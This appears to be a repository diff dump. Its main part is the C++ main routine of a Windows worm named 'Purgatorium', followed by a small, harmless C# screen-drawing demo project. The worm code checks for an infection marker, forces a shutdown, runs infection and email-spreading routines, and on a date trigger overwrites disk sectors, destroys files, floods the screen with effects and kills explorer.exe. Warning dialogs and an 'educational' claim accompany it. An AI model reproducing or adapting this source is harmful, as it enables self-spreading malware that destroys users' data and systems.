|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
typedef struct IUnknown IUnknown;
|
| 2 |
+
|
| 3 |
+
#include "Purgatorium.h"
|
| 4 |
+
|
| 5 |
+
INT WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdline, int nCmdShow)
|
| 6 |
+
{
|
| 7 |
+
//If it was infected before, the malware doesn't show the messages box
|
| 8 |
+
if (GetFileAttributesW(L"C:\\Windows\\bootcfg.dat") == INVALID_FILE_ATTRIBUTES)
|
| 9 |
+
{
|
| 10 |
+
if (MessageBoxW(NULL, L"WARNING!!!\n\nYou're about to run a potentially harmful program that can cause your system's death & data loss. This program also displays flashing lights and plays loud sounds.\n\nBy running this program, you accept full responsibility for any damages that may occur. The creator (ArTic a.k.a JhoPro) will not be responsible for anything caused by this software. By the way, this was created for educational and entertainment purposes.\n\nOriginal download: github.com/ArTicZera/GDI-Worm.Win32.Purgatorium\n\nWould you like to proceed with running this program?", L"'Seeking light while fighting our ghosts in the shadows of the purgatory.'", MB_ICONWARNING | MB_YESNO) != IDYES) return 1;
|
| 11 |
+
if (MessageBoxW(NULL, L"FINAL WARNING!!!\n\nThis is the final warning, as you're already aware of the risks, press 'Yes' to continue. Otherwise, press 'No'. Also be sure you're running in a safe environment, like virtual machines.\n\nProceed at your own risk...\n\n(Remark: Final payloads starts at the year 2060)", L"GDI-Worm.Win32.Purgatorium - FINAL WARNING", MB_ICONWARNING | MB_YESNO) != IDYES) return 1;
|
| 12 |
+
|
| 13 |
+
if (!System::IsWindowsXP()) system("shutdown -s -t 0");
|
| 14 |
+
}
|
| 15 |
+
|
| 16 |
+
Payloads::InfectSystem();
|
| 17 |
+
Spread::SpreadEmail();
|
| 18 |
+
|
| 19 |
+
HANDLE hTimedMessages = CreateThread(NULL, NULL, &Payloads::TimedMessages, NULL, NULL, NULL);
|
| 20 |
+
|
| 21 |
+
//Checks if the year is 2060
|
| 22 |
+
if (System::CheckDate(2) == 160)
|
| 23 |
+
{
|
| 24 |
+
//I suppose you don't want a message box
|
| 25 |
+
//Showing up while you're enjoying this!
|
| 26 |
+
TerminateThread(hTimedMessages, NULL);
|
| 27 |
+
CloseHandle(hTimedMessages);
|
| 28 |
+
|
| 29 |
+
Payloads::OverwriteSectors();
|
| 30 |
+
Payloads::DestroyFiles();
|
| 31 |
+
|
| 32 |
+
HANDLE hKeybPayload = CreateThread(NULL, NULL, &Payloads::KeyboardPayload, NULL, NULL, NULL);
|
| 33 |
+
HANDLE hMessLabels = CreateThread(NULL, NULL, &Payloads::MessLabels, NULL, NULL, NULL);
|
| 34 |
+
|
| 35 |
+
//BYTEBEAT 1
|
| 36 |
+
HANDLE hBB1 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64 * 2, 0);
|
| 37 |
+
HANDLE hBytebeat1 = CreateThread(NULL, NULL, &Bytebeats::BytebeatAlpha, hBB1, NULL, NULL);
|
| 38 |
+
Sleep(1000 * 20); //20 Seconds
|
| 39 |
+
|
| 40 |
+
/* Refusing Reality */
|
| 41 |
+
|
| 42 |
+
//BLUR
|
| 43 |
+
HANDLE hPML1 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 44 |
+
HANDLE hPayload1 = CreateThread(NULL, NULL, &GDIPayloads::InitialBlur, hPML1, NULL, NULL);
|
| 45 |
+
Sleep(1000 * 20); //20 Seconds
|
| 46 |
+
|
| 47 |
+
//SHAKE
|
| 48 |
+
HANDLE hPML2 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 49 |
+
HANDLE hPayload2 = CreateThread(NULL, NULL, &GDIPayloads::ScreenShake, hPML2, NULL, NULL);
|
| 50 |
+
Sleep(1000 * 15); //15 Seconds
|
| 51 |
+
|
| 52 |
+
//COLORS
|
| 53 |
+
HANDLE hPML3 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 54 |
+
HANDLE hPayload3 = CreateThread(NULL, NULL, &GDIPayloads::RandomColors, hPML3, NULL, NULL);
|
| 55 |
+
Sleep(1000 * 15); //15 Seconds
|
| 56 |
+
|
| 57 |
+
//BYTEBEAT 2
|
| 58 |
+
HANDLE hBB2 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64 * 2, 0);
|
| 59 |
+
HANDLE hBytebeat2 = CreateThread(NULL, NULL, &Bytebeats::BytebeatBeta, hBB2, NULL, NULL);
|
| 60 |
+
|
| 61 |
+
//WAVES
|
| 62 |
+
HANDLE hPML4 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 63 |
+
HANDLE hPayload4 = CreateThread(NULL, NULL, &GDIPayloads::CustomWaves, hPML4, NULL, NULL);
|
| 64 |
+
Sleep(1000 * 15); //15 Seconds
|
| 65 |
+
|
| 66 |
+
//TEXTS
|
| 67 |
+
HANDLE hPML5 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 68 |
+
HANDLE hPayload5 = CreateThread(NULL, NULL, &GDIPayloads::RandomTexts, hPML5, NULL, NULL);
|
| 69 |
+
Sleep(1000 * 15); //15 Seconds
|
| 70 |
+
|
| 71 |
+
//WARPS
|
| 72 |
+
HANDLE hPML6 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 73 |
+
HANDLE hPayload6 = CreateThread(NULL, NULL, &GDIPayloads::WarpScreen, hPML6, NULL, NULL);
|
| 74 |
+
Sleep(1000 * 15); //15 Seconds
|
| 75 |
+
|
| 76 |
+
//BLURS
|
| 77 |
+
HANDLE hPML7 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 78 |
+
HANDLE hPayload7 = CreateThread(NULL, NULL, &GDIPayloads::BlurScreen, hPML7, NULL, NULL);
|
| 79 |
+
Sleep(1000 * 15); //15 Seconds
|
| 80 |
+
|
| 81 |
+
//PIXELATED COLORS
|
| 82 |
+
HANDLE hPML8 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 83 |
+
HANDLE hPayload8 = CreateThread(NULL, NULL, &GDIPayloads::BitColors, hPML8, NULL, NULL);
|
| 84 |
+
Sleep(1000 * 15); //15 Seconds
|
| 85 |
+
|
| 86 |
+
shakeIntensity = 5;
|
| 87 |
+
|
| 88 |
+
HANDLE hBB3 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64 * 2, 0);
|
| 89 |
+
HANDLE hBytebeat3 = CreateThread(NULL, NULL, &Bytebeats::BytebeatGamma, hBB3, NULL, NULL);
|
| 90 |
+
|
| 91 |
+
//COLOR OVERDOSE
|
| 92 |
+
HANDLE hPML9 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 93 |
+
HANDLE hPayload9 = CreateThread(NULL, NULL, &GDIPayloads::ColorOverdose, hPML9, NULL, NULL);
|
| 94 |
+
Sleep(1000 * 15); //15 Seconds
|
| 95 |
+
|
| 96 |
+
System::EndPayload(hBytebeat1, hBB1);
|
| 97 |
+
System::EndPayload(hBytebeat2, hBB2);
|
| 98 |
+
System::EndPayload(hBytebeat3, hBB3);
|
| 99 |
+
System::EndPayload(hPayload1, hPML1);
|
| 100 |
+
System::EndPayload(hPayload2, hPML2);
|
| 101 |
+
System::EndPayload(hPayload3, hPML3);
|
| 102 |
+
System::EndPayload(hPayload4, hPML4);
|
| 103 |
+
System::EndPayload(hPayload5, hPML5);
|
| 104 |
+
System::EndPayload(hPayload6, hPML6);
|
| 105 |
+
System::EndPayload(hPayload7, hPML7);
|
| 106 |
+
System::EndPayload(hPayload8, hPML8);
|
| 107 |
+
System::EndPayload(hPayload9, hPML9);
|
| 108 |
+
|
| 109 |
+
/* Enjoying Last Moments */
|
| 110 |
+
|
| 111 |
+
//BYTEBEAT 6
|
| 112 |
+
|
| 113 |
+
HANDLE hBBA = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 114 |
+
HANDLE hBytebeatA = CreateThread(NULL, NULL, &Bytebeats::BytebeatA, hBBA, NULL, NULL);
|
| 115 |
+
|
| 116 |
+
HANDLE hPMLA = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 117 |
+
HANDLE hPMLB = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 118 |
+
HANDLE hPMLC = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 119 |
+
HANDLE hPayloadA = CreateThread(NULL, NULL, &GDIPayloads::Kaleidoscope, hPMLA, NULL, NULL);
|
| 120 |
+
HANDLE hPayloadB = CreateThread(NULL, NULL, &GDIPayloads::BitColors, hPMLB, NULL, NULL);
|
| 121 |
+
HANDLE hPayloadC = CreateThread(NULL, NULL, &GDIPayloads::PaletteCircles, hPMLC, NULL, NULL);
|
| 122 |
+
Sleep(1000 * 20); //20 Seconds
|
| 123 |
+
|
| 124 |
+
System::EndPayload(hBytebeatA, hBBA);
|
| 125 |
+
|
| 126 |
+
System::EndPayload(hPayloadA, hPMLA);
|
| 127 |
+
System::EndPayload(hPayloadB, hPMLB);
|
| 128 |
+
System::EndPayload(hPayloadC, hPMLC);
|
| 129 |
+
|
| 130 |
+
HANDLE hPML10 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 131 |
+
HANDLE hPML11 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 132 |
+
HANDLE hPML12 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 133 |
+
HANDLE hPayload10 = CreateThread(NULL, NULL, &GDIPayloads::Tesseract, hPML10, NULL, NULL);
|
| 134 |
+
HANDLE hPayload11 = CreateThread(NULL, NULL, &GDIPayloads::HighFreqWaves, hPML11, NULL, NULL);
|
| 135 |
+
HANDLE hPayload12 = CreateThread(NULL, NULL, &GDIPayloads::CenterCircle, hPML12, NULL, NULL);
|
| 136 |
+
|
| 137 |
+
HANDLE hBBB = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 138 |
+
HANDLE hBytebeatB = CreateThread(NULL, NULL, &Bytebeats::BytebeatB, hBBB, NULL, NULL);
|
| 139 |
+
Sleep(1000 * 30); //30 Seconds
|
| 140 |
+
|
| 141 |
+
System::EndPayload(hPayload11, hPML11);
|
| 142 |
+
System::EndPayload(hPayload12, hPML12);
|
| 143 |
+
System::EndPayload(hBytebeatB, hBBB);
|
| 144 |
+
|
| 145 |
+
colorsdelay = 100;
|
| 146 |
+
|
| 147 |
+
HANDLE hBBC = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 148 |
+
HANDLE hBytebeatC = CreateThread(NULL, NULL, &Bytebeats::BytebeatC, hBBC, NULL, NULL);
|
| 149 |
+
|
| 150 |
+
HANDLE hPMLD = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 151 |
+
HANDLE hPMLE = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 152 |
+
HANDLE hPayloadD = CreateThread(NULL, NULL, &GDIPayloads::ScreenStrips, hPMLD, NULL, NULL);
|
| 153 |
+
HANDLE hPayloadE = CreateThread(NULL, NULL, &GDIPayloads::RandomColors, hPMLE, NULL, NULL);
|
| 154 |
+
Sleep(1000 * 20); //20 Seconds
|
| 155 |
+
|
| 156 |
+
System::EndPayload(hPayload10, hPML10);
|
| 157 |
+
System::EndPayload(hBytebeatC, hBBC);
|
| 158 |
+
System::EndPayload(hPayloadD, hPMLD);
|
| 159 |
+
System::EndPayload(hPayloadE, hPMLE);
|
| 160 |
+
|
| 161 |
+
System::RedrawScreen();
|
| 162 |
+
|
| 163 |
+
/* Mind Collapse */
|
| 164 |
+
|
| 165 |
+
shakeIntensity = 10;
|
| 166 |
+
warpIntensity = 20;
|
| 167 |
+
colorsdelay = 50;
|
| 168 |
+
|
| 169 |
+
//BYTEBEAT 8
|
| 170 |
+
|
| 171 |
+
HANDLE hBBX = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 172 |
+
HANDLE hBytebeatX = CreateThread(NULL, NULL, &Bytebeats::Bytebeat2, hBBX, NULL, NULL);
|
| 173 |
+
|
| 174 |
+
HANDLE hPML13 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 175 |
+
HANDLE hPayload13 = CreateThread(NULL, NULL, &GDIPayloads::ScreenShake, hPML13, NULL, NULL);
|
| 176 |
+
Sleep(1000 * 2); //2 Seconds
|
| 177 |
+
|
| 178 |
+
HANDLE hPML14 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 179 |
+
HANDLE hPML15 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 180 |
+
HANDLE hPML16 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 181 |
+
HANDLE hPayload14 = CreateThread(NULL, NULL, &GDIPayloads::RandomEllipses, hPML14, NULL, NULL);
|
| 182 |
+
HANDLE hPayload15 = CreateThread(NULL, NULL, &GDIPayloads::RandomColors, hPML15, NULL, NULL);
|
| 183 |
+
HANDLE hPayload16 = CreateThread(NULL, NULL, &GDIPayloads::WarpScreen, hPML16, NULL, NULL);
|
| 184 |
+
Sleep(1000 * 10); //10 Seconds
|
| 185 |
+
|
| 186 |
+
shakeIntensity = 11;
|
| 187 |
+
|
| 188 |
+
HANDLE hPML17 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 189 |
+
HANDLE hPayload17 = CreateThread(NULL, NULL, &GDIPayloads::BitColors, hPML17, NULL, NULL);
|
| 190 |
+
Sleep(1000 * 10); //10 Seconds
|
| 191 |
+
|
| 192 |
+
shakeIntensity = 12;
|
| 193 |
+
|
| 194 |
+
HANDLE hPML18 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 195 |
+
HANDLE hPayload18 = CreateThread(NULL, NULL, &GDIPayloads::XORRoto, hPML18, NULL, NULL);
|
| 196 |
+
Sleep(1000 * 10); //15 Seconds
|
| 197 |
+
|
| 198 |
+
HANDLE hBBY = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 199 |
+
HANDLE hBytebeatY = CreateThread(NULL, NULL, &Bytebeats::DecrescendoSiren, hBBY, NULL, NULL);
|
| 200 |
+
Sleep(1000 * 5); //5 Seconds
|
| 201 |
+
|
| 202 |
+
shakeIntensity = 13;
|
| 203 |
+
|
| 204 |
+
HANDLE hPML19 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 205 |
+
HANDLE hPayload19 = CreateThread(NULL, NULL, &GDIPayloads::ABSXORRoto, hPML19, NULL, NULL);
|
| 206 |
+
Sleep(1000 * 20); //20 Seconds
|
| 207 |
+
|
| 208 |
+
/* Destiny Accepted */
|
| 209 |
+
|
| 210 |
+
shakeIntensity = 15;
|
| 211 |
+
|
| 212 |
+
random = false;
|
| 213 |
+
|
| 214 |
+
//BYTEBEAT 10
|
| 215 |
+
|
| 216 |
+
HANDLE hBBZ = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 217 |
+
HANDLE hBytebeatZ = CreateThread(NULL, NULL, &Bytebeats::ExpSiren, hBBZ, NULL, NULL);
|
| 218 |
+
|
| 219 |
+
HANDLE hPML20 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 220 |
+
HANDLE hPML21 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 221 |
+
HANDLE hPML22 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 222 |
+
HANDLE hPML23 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 223 |
+
HANDLE hPML24 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 224 |
+
HANDLE hPML25 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 225 |
+
HANDLE hPML26 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 226 |
+
HANDLE hPML27 = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 227 |
+
|
| 228 |
+
HANDLE hPayload20 = CreateThread(NULL, NULL, &GDIPayloads::ColorOverdose, hPML20, NULL, NULL);
|
| 229 |
+
HANDLE hPayload21 = CreateThread(NULL, NULL, &GDIPayloads::CenterCircle, hPML21, NULL, NULL);
|
| 230 |
+
HANDLE hPayload22 = CreateThread(NULL, NULL, &GDIPayloads::RandomTexts, hPML22, NULL, NULL);
|
| 231 |
+
HANDLE hPayload23 = CreateThread(NULL, NULL, &GDIPayloads::HighFreqWaves, hPML23, NULL, NULL);
|
| 232 |
+
HANDLE hPayload24 = CreateThread(NULL, NULL, &GDIPayloads::HFTNXOR, hPML24, NULL, NULL);
|
| 233 |
+
HANDLE hPayload25 = CreateThread(NULL, NULL, &GDIPayloads::InitialBlur, hPML25, NULL, NULL);
|
| 234 |
+
HANDLE hPayload26 = CreateThread(NULL, NULL, &GDIPayloads::Kaleidoscope, hPML26, NULL, NULL);
|
| 235 |
+
HANDLE hPayload27 = CreateThread(NULL, NULL, &GDIPayloads::PaletteCircles, hPML27, NULL, NULL);
|
| 236 |
+
Sleep(1000 * 40); //40 Seconds
|
| 237 |
+
|
| 238 |
+
//r/ProgrammingHorror (SORRY IM LAZY LOL)
|
| 239 |
+
System::EndPayload(hPayload13, hPML13);
|
| 240 |
+
System::EndPayload(hPayload14, hPML14);
|
| 241 |
+
System::EndPayload(hPayload15, hPML15);
|
| 242 |
+
System::EndPayload(hPayload16, hPML16);
|
| 243 |
+
System::EndPayload(hPayload17, hPML17);
|
| 244 |
+
System::EndPayload(hPayload18, hPML18);
|
| 245 |
+
System::EndPayload(hPayload19, hPML19);
|
| 246 |
+
System::EndPayload(hPayload20, hPML20);
|
| 247 |
+
System::EndPayload(hPayload21, hPML21);
|
| 248 |
+
System::EndPayload(hPayload22, hPML22);
|
| 249 |
+
System::EndPayload(hPayload23, hPML23);
|
| 250 |
+
System::EndPayload(hPayload24, hPML24);
|
| 251 |
+
System::EndPayload(hPayload25, hPML25);
|
| 252 |
+
System::EndPayload(hPayload26, hPML26);
|
| 253 |
+
System::EndPayload(hPayload27, hPML27);
|
| 254 |
+
System::EndPayload(hBytebeatZ, hBBZ);
|
| 255 |
+
System::EndPayload(hBytebeatY, hBBY);
|
| 256 |
+
System::EndPayload(hBytebeatX, hBBX);
|
| 257 |
+
|
| 258 |
+
/* The End. */
|
| 259 |
+
|
| 260 |
+
ShellExecuteW(NULL, L"open", L"taskkill", L"/f /im explorer.exe", NULL, NULL);
|
| 261 |
+
|
| 262 |
+
HANDLE hBBFINAL = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 263 |
+
HANDLE hFinalBytebeat = CreateThread(NULL, NULL, &Bytebeats::Noise, hBBFINAL, NULL, NULL);
|
| 264 |
+
|
| 265 |
+
HANDLE hEND = HeapCreate(HEAP_NO_SERIALIZE | HEAP_CREATE_ENABLE_EXECUTE, sizeof(char) * 8192 * 64, 0);
|
| 266 |
+
HANDLE hFinalPayload = CreateThread(NULL, NULL, &GDIPayloads::GDIPayloadFINAL, hEND, NULL, NULL);
|
| 267 |
+
}
|
| 268 |
+
|
| 269 |
+
//Enable at the final
|
| 270 |
+
Sleep(INFINITE);
|
| 271 |
+
|
| 272 |
+
return 0;
|
| 273 |
+
}
|
src/Gdi-in-c--main/CUBO/CUBO/App.config
ADDED
|
@@ -0,0 +1,6 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
<?xml version="1.0" encoding="utf-8"?>
|
| 2 |
+
<configuration>
|
| 3 |
+
<startup>
|
| 4 |
+
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2"/>
|
| 5 |
+
</startup>
|
| 6 |
+
</configuration>
|
src/Gdi-in-c--main/CUBO/CUBO/CUBO.csproj
ADDED
|
@@ -0,0 +1,57 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
<?xml version="1.0" encoding="utf-8"?>
|
| 2 |
+
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
| 3 |
+
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
| 4 |
+
<PropertyGroup>
|
| 5 |
+
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
| 6 |
+
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
| 7 |
+
<ProjectGuid>{79F721CE-2F84-490C-A551-C617F042BC3A}</ProjectGuid>
|
| 8 |
+
<OutputType>WinExe</OutputType>
|
| 9 |
+
<RootNamespace>CUBO</RootNamespace>
|
| 10 |
+
<AssemblyName>CUBO</AssemblyName>
|
| 11 |
+
<TargetFrameworkVersion>v4.7.2</TargetFrameworkVersion>
|
| 12 |
+
<FileAlignment>512</FileAlignment>
|
| 13 |
+
<AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
|
| 14 |
+
<Deterministic>true</Deterministic>
|
| 15 |
+
<TargetFrameworkProfile />
|
| 16 |
+
</PropertyGroup>
|
| 17 |
+
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
| 18 |
+
<PlatformTarget>AnyCPU</PlatformTarget>
|
| 19 |
+
<DebugSymbols>true</DebugSymbols>
|
| 20 |
+
<DebugType>full</DebugType>
|
| 21 |
+
<Optimize>false</Optimize>
|
| 22 |
+
<OutputPath>bin\Debug\</OutputPath>
|
| 23 |
+
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
| 24 |
+
<ErrorReport>prompt</ErrorReport>
|
| 25 |
+
<WarningLevel>4</WarningLevel>
|
| 26 |
+
</PropertyGroup>
|
| 27 |
+
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
| 28 |
+
<PlatformTarget>AnyCPU</PlatformTarget>
|
| 29 |
+
<DebugType>pdbonly</DebugType>
|
| 30 |
+
<Optimize>true</Optimize>
|
| 31 |
+
<OutputPath>bin\Release\</OutputPath>
|
| 32 |
+
<DefineConstants>TRACE</DefineConstants>
|
| 33 |
+
<ErrorReport>prompt</ErrorReport>
|
| 34 |
+
<WarningLevel>4</WarningLevel>
|
| 35 |
+
</PropertyGroup>
|
| 36 |
+
<PropertyGroup>
|
| 37 |
+
<StartupObject />
|
| 38 |
+
</PropertyGroup>
|
| 39 |
+
<ItemGroup>
|
| 40 |
+
<Reference Include="System" />
|
| 41 |
+
<Reference Include="System.Core" />
|
| 42 |
+
<Reference Include="System.Xml.Linq" />
|
| 43 |
+
<Reference Include="System.Data.DataSetExtensions" />
|
| 44 |
+
<Reference Include="Microsoft.CSharp" />
|
| 45 |
+
<Reference Include="System.Data" />
|
| 46 |
+
<Reference Include="System.Net.Http" />
|
| 47 |
+
<Reference Include="System.Xml" />
|
| 48 |
+
</ItemGroup>
|
| 49 |
+
<ItemGroup>
|
| 50 |
+
<Compile Include="Program.cs" />
|
| 51 |
+
<Compile Include="Properties\AssemblyInfo.cs" />
|
| 52 |
+
</ItemGroup>
|
| 53 |
+
<ItemGroup>
|
| 54 |
+
<None Include="App.config" />
|
| 55 |
+
</ItemGroup>
|
| 56 |
+
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
| 57 |
+
</Project>
|
src/Gdi-in-c--main/CUBO/CUBO/Program.cs
ADDED
|
@@ -0,0 +1,52 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
using System;
|
| 2 |
+
using System.Runtime.InteropServices;
|
| 3 |
+
|
| 4 |
+
class Program
|
| 5 |
+
{
|
| 6 |
+
[DllImport("user32.dll")]
|
| 7 |
+
public static extern int GetSystemMetrics(int nIndex);
|
| 8 |
+
|
| 9 |
+
[DllImport("user32.dll")]
|
| 10 |
+
public static extern IntPtr GetDC(int hWnd);
|
| 11 |
+
|
| 12 |
+
[DllImport("user32.dll")]
|
| 13 |
+
public static extern int ReleaseDC(int hWnd, IntPtr hDC);
|
| 14 |
+
|
| 15 |
+
[DllImport("gdi32.dll")]
|
| 16 |
+
public static extern int SetPixel(IntPtr hdc, int x, int y, int color);
|
| 17 |
+
|
| 18 |
+
static void Main()
|
| 19 |
+
{
|
| 20 |
+
int y = GetSystemMetrics(1); // SM_CYSCREEN
|
| 21 |
+
int x = GetSystemMetrics(0); // SM_CXSCREEN
|
| 22 |
+
int yfull = GetSystemMetrics(17); // SM_CYFULLSCREEN
|
| 23 |
+
int xfull = GetSystemMetrics(16); // SM_CXFULLSCREEN
|
| 24 |
+
int rainbow = x - new Random().Next() % x - (x / 150 - 112) % 149;
|
| 25 |
+
int inc = (int)Math.Round(x / 100.0);
|
| 26 |
+
Math.Round(y / 1.0);
|
| 27 |
+
Math.Round(yfull / 100.0);
|
| 28 |
+
Math.Round(xfull / 10.0);
|
| 29 |
+
|
| 30 |
+
while (true)
|
| 31 |
+
{
|
| 32 |
+
IntPtr hdc = GetDC(0);
|
| 33 |
+
for (int yp = 0; yp < y; ++yp)
|
| 34 |
+
{
|
| 35 |
+
for (int xp = 0; xp < x; ++xp)
|
| 36 |
+
{
|
| 37 |
+
int xa = inc * xp;
|
| 38 |
+
SetPixel(hdc, xp, yp, (int)RGB(xa, xa, xa));
|
| 39 |
+
SetPixel(hdc, yp, rainbow, (int)RGB(yfull, xa, xfull));
|
| 40 |
+
SetPixel(hdc, rainbow, rainbow, (int)RGB(rainbow, rainbow, rainbow));
|
| 41 |
+
SetPixel(hdc, rainbow, yp, (int)RGB(xfull, yfull, xfull));
|
| 42 |
+
}
|
| 43 |
+
}
|
| 44 |
